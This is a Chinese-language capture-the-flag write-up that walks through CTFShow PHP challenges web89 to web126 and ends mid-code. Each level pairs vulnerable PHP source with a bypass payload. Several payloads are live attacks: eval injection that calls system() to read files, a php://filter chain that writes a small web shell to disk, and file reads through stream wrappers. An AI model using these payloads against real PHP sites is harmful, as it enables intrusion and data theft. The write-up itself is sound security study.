# 前言
勉勉强强算是详解吧
# 前篇
# web89
<?php | |
include("flag.php"); | |
highlight_file(__FILE__); | |
if(isset($_GET['num'])){ | |
$num = $_GET['num']; | |
if(preg_match("/[0-9]/", $num)){ | |
die("no no no!"); | |
} | |
if(intval($num)){ | |
echo $flag; | |
} | |
} |
首先 intval () 函数是用于获取变量的整数值
<?php | |
$num="1"; | |
echo preg_match("/[0-9]/", $num)."\n"; | |
echo intval($num)."\n"; | |
$w="a"; | |
echo preg_match("/[0-9]/", $w)."\n"; | |
echo intval($w)."\n"; | |
$q="1a"; | |
echo preg_match("/[0-9]/", $q)."\n"; | |
echo intval($q)."\n"; | |
$a[]="a"; | |
echo @preg_match("/[0-9]/", $a)."\n"; | |
echo @intval($a); |
运行结果
这里可以看到,当变量为数字时两个函数返回值都是 1,当变量为字母的时候,两个函数返回的都是 0,当变量是字符串的时候,当变量中是由数字的字符串时函数的返回值为 1,但是当变量为数组时,preg_match 的返回值为空而 intval 的返回值为一,所以这里可以使用数组绕过
/?num[]=1
# web90
<?php | |
include("flag.php"); | |
highlight_file(__FILE__); | |
if(isset($_GET['num'])){ | |
$num = $_GET['num']; | |
if($num==="4476"){ | |
die("no no no!"); | |
} | |
if(intval($num,0)===4476){ | |
echo $flag; | |
}else{ | |
echo intval($num,0); | |
} | |
} |
根据上面提到的特性,这里直接传进去一个 4476 + 字母即可
?num=4476a |
# web91
<?php | |
show_source(__FILE__); | |
include('flag.php'); | |
$a=$_GET['cmd']; | |
if(preg_match('/^php$/im', $a)){ | |
if(preg_match('/^php$/i', $a)){ | |
echo 'hacker'; | |
} | |
else{ | |
echo $flag; | |
} | |
} | |
else{ | |
echo 'nonononono'; | |
} |
这里是正则的一个小特性,可以去看看我的 preg_match&& 正则 - Web | Clown の Blog = (xcu.icu) 这篇文章,绕过这个的方法也不难,第一个是多行匹配,第二个是只匹配一行,且遇到换行返回空
?cmd=a%0aphp
# web92
<?php | |
include("flag.php"); | |
highlight_file(__FILE__); | |
if(isset($_GET['num'])){ | |
$num = $_GET['num']; | |
if($num==4476){ | |
die("no no no!"); | |
} | |
if(intval($num,0)==4476){ | |
echo $flag; | |
}else{ | |
echo intval($num,0); | |
} | |
} |
intval 获取变量的整数值,前面又不能相等,但是它又加了一个 0,这里用 e 来构造科学计数法或者写一个小数都行
?num=4476.1
?num=4476e1
# web93
<?php | |
include("flag.php"); | |
highlight_file(__FILE__); | |
if(isset($_GET['num'])){ | |
$num = $_GET['num']; | |
if($num==4476){ | |
die("no no no!"); | |
} | |
if(preg_match("/[a-z]/i", $num)){ | |
die("no no no!"); | |
} | |
if(intval($num,0)==4476){ | |
echo $flag; | |
}else{ | |
echo intval($num,0); | |
} | |
} |
不让用字母了,那就用小数点呗
?num=4476.1
还能用进制转换
二进制0bxxx
八进制0xxxxxx
十六进制0xaaaa
二进制和十六进制想正常识别都有字母,只有八进制能用了
# web94
<?php | |
include("flag.php"); | |
highlight_file(__FILE__); | |
if(isset($_GET['num'])){ | |
$num = $_GET['num']; | |
if($num==="4476"){ | |
die("no no no!"); | |
} | |
if(preg_match("/[a-z]/i", $num)){ | |
die("no no no!"); | |
} | |
if(!strpos($num, "0")){ | |
die("no no no!"); | |
} | |
if(intval($num,0)===4476){ | |
echo $flag; | |
} | |
} |
strpos () f 函数查找字符串在另一字符串中第一次出现的位置(区分大小写)
那就继续小数点解决,第一次出现的位置,加一个空格干扰一下就行
# web95
<?php | |
include("flag.php"); | |
highlight_file(__FILE__); | |
if(isset($_GET['num'])){ | |
$num = $_GET['num']; | |
if($num==4476){ | |
die("no no no!"); | |
} | |
if(preg_match("/[a-z]|\./i", $num)){ | |
die("no no no!!"); | |
} | |
if(!strpos($num, "0")){ | |
die("no no no!!!"); | |
} | |
if(intval($num,0)===4476){ | |
echo $flag; | |
} | |
} |
小数点被加入黑名单了,那就使用空格干扰
# web96
<?php | |
highlight_file(__FILE__); | |
if(isset($_GET['u'])){ | |
if($_GET['u']=='flag.php'){ | |
die("no no no"); | |
}else{ | |
highlight_file($_GET['u']); | |
} | |
} |
这里先引出报错
看到文件路径,这里传入完整路径就可以了
?u=/var/www/html/flag.php |
# web97
<?php | |
include("flag.php"); | |
highlight_file(__FILE__); | |
if (isset($_POST['a']) and isset($_POST['b'])) { | |
if ($_POST['a'] != $_POST['b']) | |
if (md5($_POST['a']) === md5($_POST['b'])) | |
echo $flag; | |
else | |
print 'Wrong.'; | |
} | |
?> |
人见人爱的 MD5 强碰撞,这里给出几个 MD5 和 hash 的强碰撞,简单点的数组绕过就行
#0 | |
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 | |
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 | |
#1 | |
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 | |
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 | |
#2 | |
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 | |
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf% | |
#3 | |
$a="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2"; | |
$b="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2"; | |
#4 | |
POST: | |
array1=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A3njn%FD%1A%CB%3A%29Wr%02En%CE%89%9A%E3%8EF%F1%BE%E9%EE3%0E%82%2A%95%23%0D%FA%CE%1C%F2%C4P%C2%B7s%0F%C8t%F28%FAU%AD%2C%EB%1D%D8%D2%00%8C%3B%FCN%C9b4%DB%AC%17%A8%BF%3Fh%84i%F4%1E%B5Q%7B%FC%B9RuJ%60%B4%0D7%F9%F9%00%1E%C1%1B%16%C9M%2A%7D%B2%BBoW%02%7D%8F%7F%C0qT%D0%CF%3A%9DFH%F1%25%AC%DF%FA%C4G%27uW%CFNB%E7%EF%B0&array2=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A3njn%FD%1A%CB%3A%29Wr%02En%CE%89%9A%E3%8E%C6%F1%BE%E9%EE3%0E%82%2A%95%23%0D%FA%CE%1C%F2%C4P%C2%B7s%0F%C8t%F28zV%AD%2C%EB%1D%D8%D2%00%8C%3B%FCN%C9%E24%DB%AC%17%A8%BF%3Fh%84i%F4%1E%B5Q%7B%FC%B9RuJ%60%B4%0D%B7%F9%F9%00%1E%C1%1B%16%C9M%2A%7D%B2%BBoW%02%7D%8F%7F%C0qT%D0%CF%3A%1DFH%F1%25%AC%DF%FA%C4G%27uW%CF%CEB%E7%EF%B0 | |
#sha1 | |
POST: | |
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1 |
传就完事,注意别用 hackbar 会编码一次再发送
# web98
<?php | |
include("flag.php"); | |
$_GET?$_GET=&$_POST:'flag'; | |
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; | |
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; | |
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); | |
?> |
三元运算符和地址传递
首先第一个三元运算,如果有 get 传参就将 post 的地址传给 get,最后一个是如果 $_GET ['HTTP_FLAG']=='flag' 就打印 flag,否则就会高亮当前文件,第二个和第三个这里似乎没有用上
# web99
<?php | |
highlight_file(__FILE__); | |
$allow = array(); | |
for ($i=36; $i < 0x36d; $i++) { | |
array_push($allow, rand(1,$i)); | |
} | |
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ | |
file_put_contents($_GET['n'], $_POST['content']); | |
} | |
?> |
array_push () 函数向数组尾部插入一个或多个元素。
in_array () 函数搜索数组中是否存在指定的值。这题的点也是在这这个函数有三个参数,像题目中两个是必须的,第三个参数是可选择的如果为 ture 则判断第一个参数(被检索的值)和第二个参数(检索的字母)
这里可以,用 1.php 去尝试,会被识别为 1,如果相同则写入 1.php 中
# web100
<?php | |
highlight_file(__FILE__); | |
include("ctfshow.php"); | |
//flag in class ctfshow; | |
$ctfshow = new ctfshow(); | |
$v1=$_GET['v1']; | |
$v2=$_GET['v2']; | |
$v3=$_GET['v3']; | |
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); | |
if($v0){ | |
if(!preg_match("/\;/", $v2)){ | |
if(preg_match("/\;/", $v3)){ | |
eval("$v2('ctfshow')$v3"); | |
} | |
} | |
} | |
?> |
首先 $v0=is_numeric ($v1) and is_numeric ($v2) and is_numeric ($v3); 这里要让其值为 true,然后进入 if 语句
判断三个数都为数字或者数字字符串才行,但是这里等号的运算优先级比 and 要高
&& > || > = > and > or
所以这里后面的 v2 和 v3 似乎没啥用,v2 不能有;v3 要有;,这里还要将中间的 ctfshow 干扰给过滤了,可以用多行注释,直接用?> 结束也行
?v1=1&v2=var_dump($ctfshow)/*&v3=*/; | |
?v1=1&v2=system(%27cat%20ctfshow.php%27)/*&v3=*/; | |
?v1=1&v2=var_dump($ctfshow)?>&v3=; |
# web101
<?php | |
highlight_file(__FILE__); | |
include("ctfshow.php"); | |
//flag in class ctfshow; | |
$ctfshow = new ctfshow(); | |
$v1=$_GET['v1']; | |
$v2=$_GET['v2']; | |
$v3=$_GET['v3']; | |
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); | |
if($v0){ | |
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ | |
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ | |
eval("$v2('ctfshow')$v3"); | |
} | |
} | |
} | |
?> |
跟上一题相比较挺突然,突然过滤了好多东西,经观察,v3 还是可以有 ";",这里要使用 php 反射,先浅浅的记录一下什么是 php 反射
# php 反射
算的上是 php 中的一种非常普遍的高级操作,几乎在所有的 php 框架或是说工具中都能见到反射的身影,那么什么是反射?
php 语言是一种简单的同时可以应用面向对象面向过程方式的变成语言,而在面向对象中对象被赋予了自省的能力,这种自省的过程就是反射,在 php 文档中是这样介绍的 “ PHP 具有完整的反射 API,增加了内省类、接口、函数、方法和扩展的能力。 此外,反射 API 提供了方法来取出函数、类和方法中的文档注释。
”,简单来说就是通过对象找到他所属的类,拥有哪些方法等等
# demo
对于反射会接触到四个类
ReflectionClass
ReflectionFunction
ReflectionMethod
ReflectionParameter
接下来简单写一个 demo
<?php | |
class demo1{} | |
class demo2{ | |
public $test1; | |
private $test2; | |
public function __construct(){ | |
$this->test1 = 'test1'; | |
$this->test2 = 'test2'; | |
} | |
public function functiontest(){ | |
//echo $this->test1; | |
return $this->test2; | |
} | |
} | |
//$class=new ReflectionClass(demo2::class); | |
$class = new ReflectionClass('demo2'); | |
//$funtion = new ReflectionMethod('demo2', '__construct'); | |
//$Method = new ReflectionMethod('demo2', 'functiontest'); | |
//$Parameter = new ReflectionParameter('demo2', 'functiontest'); | |
echo $class; | |
//echo $funtion; | |
//echo $Method; |
运行结果如下
Class [ <user> class demo2 ] { | |
- Constants [0] { | |
} | |
- Static properties [0] { | |
} | |
- Static methods [0] { | |
} | |
- Properties [2] { | |
Property [ <default> public $test1 ] | |
Property [ <default> private $test2 ] | |
} | |
- Methods [2] { | |
Method [ <user, ctor> public method __construct ] { | |
@@ C:\Users\Clown\Desktop\exp.php 7 - 10 | |
} | |
Method [ <user> public method functiontest ] { | |
@@ C:\Users\Clown\Desktop\exp.php 12 - 15 | |
} | |
} | |
} | |
[Done] exited with code=0 in 0.061 seconds |
可以看到将类中的信息打印出来,所有 payload
?v1=1&v2=echo new Reflectionclass&v3=; | |
?v1=1&v2=echo new Reflectionclass?>&v3=; |
# web102
<?php | |
highlight_file(__FILE__); | |
$v1 = $_POST['v1']; | |
$v2 = $_GET['v2']; | |
$v3 = $_GET['v3']; | |
$v4 = is_numeric($v2) and is_numeric($v3); | |
if($v4){ | |
$s = substr($v2,2); | |
$str = call_user_func($v1,$s); | |
echo $str; | |
file_put_contents($v3,$str); | |
} | |
else{ | |
die('hacker'); | |
} | |
?> |
题目本意应该是 php5 下 is_numeric 可识别 16 进制,如 0x2e,然后调用 hex2bin 转成字符串写入木马,但题目环境没配好,是 php7, 所以要另换方法
call_user_func () 这个函数是调用函数的一种方法
因为写入要用伪协议写入,所以需要 base64 编码后转成 16 进制全是数字的字符串,payload:
get:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php | |
post:v1=hex2bin |
接下来解释一下
<?php | |
$a='<?=`cat *`;'; | |
$b=base64_encode($a); | |
echo $b; // PD89YGNhdCAqYDs= | |
$c=bin2hex('PD89YGNhdCAqYDs'); | |
echo $c; //5044383959474e6864434171594473 | |
?> |
# web103
<?php | |
highlight_file(__FILE__); | |
$v1 = $_POST['v1']; | |
$v2 = $_GET['v2']; | |
$v3 = $_GET['v3']; | |
$v4 = is_numeric($v2) and is_numeric($v3); | |
if($v4){ | |
$s = substr($v2,2); | |
$str = call_user_func($v1,$s); | |
echo $str; | |
if(!preg_match("/.*p.*h.*p.*/i",$str)){ | |
file_put_contents($v3,$str); | |
} | |
else{ | |
die('Sorry'); | |
} | |
} | |
else{ | |
die('hacker'); | |
} | |
?> |
比起上一关多了一个正则,但是不影响做题
get:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post:v1=hex2bin
# web104
<?php | |
highlight_file(__FILE__); | |
include("flag.php"); | |
if(isset($_POST['v1']) && isset($_GET['v2'])){ | |
$v1 = $_POST['v1']; | |
$v2 = $_GET['v2']; | |
if(sha1($v1)==sha1($v2)){ | |
echo $flag; | |
} | |
} | |
?> |
弱类型比较,找两个 sha1 后为数字加 e 开头的,这里
10932435112: 0e07766915004133176347055865026311692244 | |
aaroZmOk: 0e66507019969427134894567494305185566735 | |
aaK1STfY: 0e76658526655756207688271159624026011393 | |
aaO8zKZF: 0e89257456677279068558073954252716165668 | |
aa3OFF9m: 0e36977786278517984959260394024281014729 | |
0e1290633704: 0e19985187802402577070739524195726831799 |
当然,简单一点可以直接用数组绕过
# web105
<?php | |
highlight_file(__FILE__); | |
include('flag.php'); | |
error_reporting(0); | |
$error='你还想要flag嘛?'; | |
$suces='既然你想要那给你吧!'; | |
foreach($_GET as $key => $value){ | |
if($key==='error'){ | |
die("what are you doing?!"); | |
} | |
$$key=$$value; | |
}foreach($_POST as $key => $value){ | |
if($value==='flag'){ | |
die("what are you doing?!"); | |
} | |
$$key=$$value; | |
} | |
if(!($_POST['flag']==$flag)){ | |
die($error); | |
} | |
echo "your are good".$flag."\n"; | |
die($suces); | |
?> | |
你还想要flag嘛? |
这个题的关键在于两个下面的语句,实现变量覆盖
$$key=$$value;
我们的目标 flag 在 $flag 中,想要获得中国 flag 我们要么到最后一步
echo "your are good".$flag."\n"; |
因为有上面提到的哪个关键语句在,这里可以通过变量覆盖实现,于是 payload 的思路就是先用第一个 if 的 get 将 flag 的值赋值给 suces,再用第二个 if,将 suces 的值给 error,再通过下面的语句会将 error 输出
if(!($_POST['flag']==$flag)){ | |
die($error); |
所以 payload
?suces=flag | |
post:error=suces |
# web106
<?php | |
highlight_file(__FILE__); | |
include("flag.php"); | |
if(isset($_POST['v1']) && isset($_GET['v2'])){ | |
$v1 = $_POST['v1']; | |
$v2 = $_GET['v2']; | |
if(sha1($v1)==sha1($v2) && $v1!=$v2){ | |
echo $flag; | |
} | |
} | |
?> |
为啥不和 104 放一块呢???好多问号
# web107
<?php | |
highlight_file(__FILE__); | |
error_reporting(0); | |
include("flag.php"); | |
if(isset($_POST['v1'])){ | |
$v1 = $_POST['v1']; | |
$v3 = $_GET['v3']; | |
parse_str($v1,$v2); | |
if($v2['flag']==md5($v3)){ | |
echo $flag; | |
} | |
} |
parse_str () 函数把查询字符串解析到变量中。
未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量
<?php | |
parse_str("name=Bill&age=60"); | |
echo $name."<br>"; | |
echo $age; | |
?> | |
//Bill | |
//60 |
设置了 array 参数
<?php | |
parse_str("name=Bill&age=60",$myArray); | |
print_r($myArray); | |
?> | |
// Array ( [name] => Bill [age] => 60 ) |
将 v3 的参 md5 后与 flag 相比较,下面提供一组 md 后 0e 开头的字符串
QNKCDZO | |
0e830400451993494058024219903391 | |
240610708 | |
0e462097431906509019562988736854 | |
s878926199a | |
0e545993274517709034328855841020 | |
s155964671a | |
0e342768416822451524974117254469 | |
s214587387a | |
0e848240448830537924465865611904 |
# web108
<?php | |
highlight_file(__FILE__); | |
error_reporting(0); | |
include("flag.php"); | |
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { | |
die('error'); | |
} | |
// 只有 36d 的人才能看到 flag | |
if(intval(strrev($_GET['c']))==0x36d){ | |
echo $flag; | |
} | |
?> |
首先还是介绍几个函数
ereg()
函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回 true
,否则返回 false
。搜索对于字母字符是区分大小写的。
intval()
函数用于获取变量的整数值。
strrev()
函数反转字符串。
再这里 ereg 函数存在一个 00null 的截断
# web109
<?php | |
highlight_file(__FILE__); | |
error_reporting(0); | |
if(isset($_GET['v1']) && isset($_GET['v2'])){ | |
$v1 = $_GET['v1']; | |
$v2 = $_GET['v2']; | |
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ | |
eval("echo new $v1($v2());"); | |
} | |
} | |
?> |
这个很明显是考察原生类利用,这里可以查阅 php 反序列化 - Web | Clown の Blog = (xcu.icu) 我的这篇文章
echo new $v1($v2()); |
这里 echo 一个实例化的对象 v1,v2 是传入类中的参数,这里 v2 () 是表示会将 v2 返回值作为函数调用,这里有 echo 可以自动调用魔术方法__tostring () 方法,那么这里几个 php 反射类,和异常处理类等等都可以利用
v1=Exception&v2=system('cat fl36dg.txt') v1=Reflectionclass&v2=system('cat fl36dg.txt') | |
v1=mysqli&v2=system('tac fl36dg.txt') |
# web110
<?php | |
highlight_file(__FILE__); | |
error_reporting(0); | |
if(isset($_GET['v1']) && isset($_GET['v2'])){ | |
$v1 = $_GET['v1']; | |
$v2 = $_GET['v2']; | |
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ | |
die("error v1"); | |
} | |
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ | |
die("error v2"); | |
} | |
eval("echo new $v1($v2());"); | |
} | |
?> |
这个题比起上一题加了一些过滤,上面的方法就不在使用,首先要查看文件明
可遍历目录类有以下几个: | |
DirectoryIterator 类 | |
FilesystemIterator 类 | |
GlobIterator 类 |
但是这些都要传入路径,这里符号都被过滤,所以要使用别的函数来获取路径
如果要获取脚本文件的目录,要应用函数 getcwd () 来实现。函数声明如下:
string getcwd ( void ) ;
成功执行后返回当前目录字符串,失败返回 FALSE。
注: 这里三个遍历目录类,第一个包含隐藏文件,第二个不包含,第三个获取的是目录名,所以这里要使用第二个,当然这种方法也只能获取第一个文件名
访问即可
# 中篇
# web111
<?php | |
highlight_file(__FILE__); | |
error_reporting(0); | |
include("flag.php"); | |
function getFlag(&$v1,&$v2){ | |
eval("$$v1 = &$$v2;"); | |
var_dump($$v1); | |
} | |
if(isset($_GET['v1']) && isset($_GET['v2'])){ | |
$v1 = $_GET['v1']; | |
$v2 = $_GET['v2']; | |
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ | |
die("error v1"); | |
} | |
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ | |
die("error v2"); | |
} | |
if(preg_match('/ctfshow/', $v1)){ | |
getFlag($v1,$v2); | |
} | |
} | |
?> |
本题的重点在
eval("$$v1 = &$$v2;"); | |
var_dump($$v1); |
很明显考察变量覆盖,这里使用 GLOBALS 全局变量
# web112
<?php | |
highlight_file(__FILE__); | |
error_reporting(0); | |
function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ | |
die("hacker!"); | |
}else{ | |
return $file; | |
} | |
} | |
$file=$_GET['file']; | |
if(! is_file($file)){ | |
highlight_file(filter($file)); | |
}else{ | |
echo "hacker!"; | |
} |
这里我们的目的是不能让 is_file 检测出是文件,并且 highlight_file 可以识别为文件。这时候可以利用 php 伪协议。
可以直接用不带任何过滤器的 filter 伪协议
php:/resource=flag.php |
这里主要是为了过滤编码方式,采用为被过滤的编码方式即可
php:/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php | |
php:/read=convert.quoted-printable-encode/resource=flag.php |
或者使用别的伪协议
compress.zlib: |
这里对 zip 伪协议进行一个补充
【zip:// 协议】
使用方法:
zip://archive.zip#dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
2.【bzip2:// 协议】
使用方法:
compress.bzip2://file.bz2
3.【zlib:// 协议】
使用方法:
compress.zlib://file.gz
# web113
<?php | |
highlight_file(__FILE__); | |
error_reporting(0); | |
function filter($file){ | |
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ | |
die('hacker!'); | |
}else{ | |
return $file; | |
} | |
} | |
$file=$_GET['file']; | |
if(! is_file($file)){ | |
highlight_file(filter($file)); | |
}else{ | |
echo "hacker!"; | |
} |
这里没有过滤全,上面提到的 zilb:// 协议还能使用
/?file=compress.zlib://flag.php
或者利用 /proc/self/root 软链接,20 次软链接可以绕过 is_file ()
# web114
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
function filter($file){ | |
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ | |
die('hacker!'); | |
}else{ | |
return $file; | |
} | |
} | |
$file=$_GET['file']; | |
echo "师傅们居然tql都是非预期 哼!"; | |
if(! is_file($file)){ | |
highlight_file(filter($file)); | |
}else{ | |
echo "hacker!"; | |
} 师傅们居然tql都是非预期 哼! |
这里过滤了 compress,root 但是又没有过滤 filter
?file=php://filter/resource=flag.php
# web115
<?php | |
include('flag.php'); | |
highlight_file(__FILE__); | |
error_reporting(0); | |
function filter($num){ | |
$num=str_replace("0x","1",$num); | |
$num=str_replace("0","1",$num); | |
$num=str_replace(".","1",$num); | |
$num=str_replace("e","1",$num); | |
$num=str_replace("+","1",$num); | |
return $num; | |
} | |
$num=$_GET['num']; | |
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ | |
if($num=='36'){ | |
echo $flag; | |
}else{ | |
echo "hacker!!"; | |
} | |
}else{ | |
echo "hacker!!!"; | |
} |
本题主要考察绕过 is_numeric,!== 不全等,数值或者类型不相同
在数字的前面加上 %09 %0a %0b %0c %0d 任意一个都可以使其为真不影响判断。
对于 trim 函数首位去空,可以去除空格以及 \n\r\t\v\0
,但不会过滤 \f
,于是本题可以使用 %0c 绕过
# web123
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
include("flag.php"); | |
$a=$_SERVER['argv']; | |
$c=$_POST['fun']; | |
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ | |
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){ | |
eval("$c".";"); | |
if($fl0g==="flag_give_me"){ | |
echo $flag; | |
} | |
} | |
} | |
?> |
本题没啥限制,直接上 payload:
?CTF_SHOW=&CTF[SHOW.COM=&fun=echo%20$flag
这里不用 CTF_SHOW.COM 的原因是因为这里又一个点,变量名重只能有数字字母下划线,所以我们构造不出来原参数,被 get 或者 post 传入的变量名,如果含有空格、+、[则会被转化为_,php 中有个特性就是如果传入 [,它被转化为_之后,后面的字符就会被保留下来不会被替换,所以这里要使用 [
# web125
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
include("flag.php"); | |
$a=$_SERVER['argv']; | |
$c=$_POST['fun']; | |
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ | |
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){ | |
eval("$c".";"); | |
if($fl0g==="flag_give_me"){ | |
echo $flag; | |
} | |
} | |
} | |
?> |
比起上一题多了一些过滤,如 echo,flag 等等,构造命令执行发现没反应,大概是 ban 掉了,但是高亮函数应该没禁用,毕竟本题还使用了
# web126
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
include("flag.php"); | |
$a=$_SERVER['argv']; | |
